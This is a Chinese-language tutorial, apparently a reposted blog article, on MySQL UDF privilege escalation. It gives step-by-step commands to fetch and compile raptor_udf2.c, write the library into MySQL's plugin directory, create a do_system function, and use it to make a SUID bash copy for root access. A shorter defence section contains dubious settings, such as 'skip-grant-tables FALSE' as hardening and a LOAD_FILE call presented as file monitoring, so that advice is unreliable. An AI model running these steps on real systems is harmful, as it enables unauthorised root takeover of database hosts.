MySQL UDF提权实战:从编译到提权的完整避坑指南(附靶机复现)
MySQL UDF提权实战从编译到提权的完整避坑指南附靶机复现在数据库安全领域UDF用户自定义函数提权是一种经典的技术手段。本文将带你从零开始完整复现这一过程同时深入剖析其中的技术细节和常见陷阱。无论你是安全研究人员还是渗透测试初学者都能从中获得实用的技术指导。1. 环境准备与前置条件1.1 基础环境配置在进行UDF提权前需要确保满足以下基础条件MySQL高权限账户至少需要具备CREATE FUNCTION权限的账户理想情况下是root账户特定目录写入权限MySQL服务需要有向插件目录写入文件的权限secure_file_priv参数设置该参数值必须为空或包含目标目录验证当前用户权限的命令SELECT user(), current_user;查看关键参数配置-- 检查secure_file_priv设置 SHOW VARIABLES LIKE %secure_file_priv%; -- 查看插件目录位置 SHOW VARIABLES LIKE %plugin%;1.2 常见环境问题排查在实际操作中经常会遇到以下环境问题权限不足非root账户可能无法创建函数目录限制secure_file_priv参数可能限制了文件操作范围版本差异不同MySQL版本对UDF的支持存在差异注意如果secure_file_priv设置为NULL则无法进行UDF提权操作。这种情况下需要考虑其他提权方式。2. UDF共享库编译指南2.1 获取与修改POC代码推荐使用经过验证的POC代码如经典的raptor_udf2.c。获取方式searchsploit mysql udf -m 1518 mv 1518.c raptor_udf2.c关键代码片段分析#include stdio.h #include stdlib.h enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT}; typedef struct st_udf_args { unsigned int arg_count; // number of arguments enum Item_result *arg_type; // pointer to item_result char **args; // pointer to arguments unsigned long *lengths; // length of string args char *maybe_null; // 1 for maybe_null args } UDF_ARGS; typedef struct st_udf_init { char maybe_null; // 1 if func can return NULL unsigned int decimals; // for real functions unsigned long max_length; // for string functions char *ptr; // free ptr for func data char const_item; // 0 if result is constant } UDF_INIT;2.2 跨平台编译技巧针对不同操作系统编译命令有所差异Linux环境编译gcc -g -c raptor_udf2.c -fPIC gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lcWindows环境编译需MinGWgcc -shared -o raptor_udf2.dll raptor_udf2.c编译参数说明参数作用描述-g生成调试信息-c只编译不链接-fPIC生成位置无关代码-shared生成共享库文件-Wl,-soname设置共享库的SONAME3. 完整提权流程演示3.1 文件上传与函数创建将编译好的共享库文件导入MySQL的关键步骤-- 切换到mysql数据库 USE mysql; -- 创建临时表存储二进制数据 CREATE TABLE foo(line BLOB); -- 加载共享库文件到表中 INSERT INTO foo VALUES(LOAD_FILE(/tmp/raptor_udf2.so)); -- 将数据导出到插件目录 SELECT * FROM foo INTO DUMPFILE /usr/lib/mysql/plugin/raptor_udf2.so; -- 创建自定义函数 CREATE FUNCTION do_system RETURNS INTEGER SONAME raptor_udf2.so;3.2 权限提升实战操作通过创建的函数执行系统命令-- 创建具有SUID权限的bash副本 SELECT do_system(cp /bin/bash /tmp/rootbash; chmod xs /tmp/rootbash); -- 在系统shell中执行 /tmp/rootbash -p常见问题解决方案共享库加载失败检查文件路径和权限函数创建失败确认MySQL版本兼容性命令执行无效检查目标系统环境4. 防御措施与安全建议4.1 系统加固方案为防止UDF提权攻击建议采取以下防护措施严格控制MySQL账户权限遵循最小权限原则设置secure_file_priv限制文件导入导出目录禁用不必要的插件功能修改my.cnf配置文件安全配置示例[mysqld] secure_file_priv/restricted_dir skip-grant-tables FALSE local_infile OFF4.2 入侵检测方法可通过以下方式检测UDF提权行为监控mysql.func表的变更检查插件目录下的异常文件审计CREATE FUNCTION语句检测SQL示例-- 检查已创建的自定义函数 SELECT * FROM mysql.func; -- 监控插件目录文件变化 SELECT LOAD_FILE(/usr/lib/mysql/plugin/file_monitor);在实际渗透测试项目中UDF提权往往需要结合其他技术手段。我曾在一个内部测试中发现虽然目标系统限制了文件写入但通过先获取web目录写入权限再结合MySQL的日志功能最终成功实现了提权。这种多技术组合的思路在实际环境中非常实用。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2437974.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!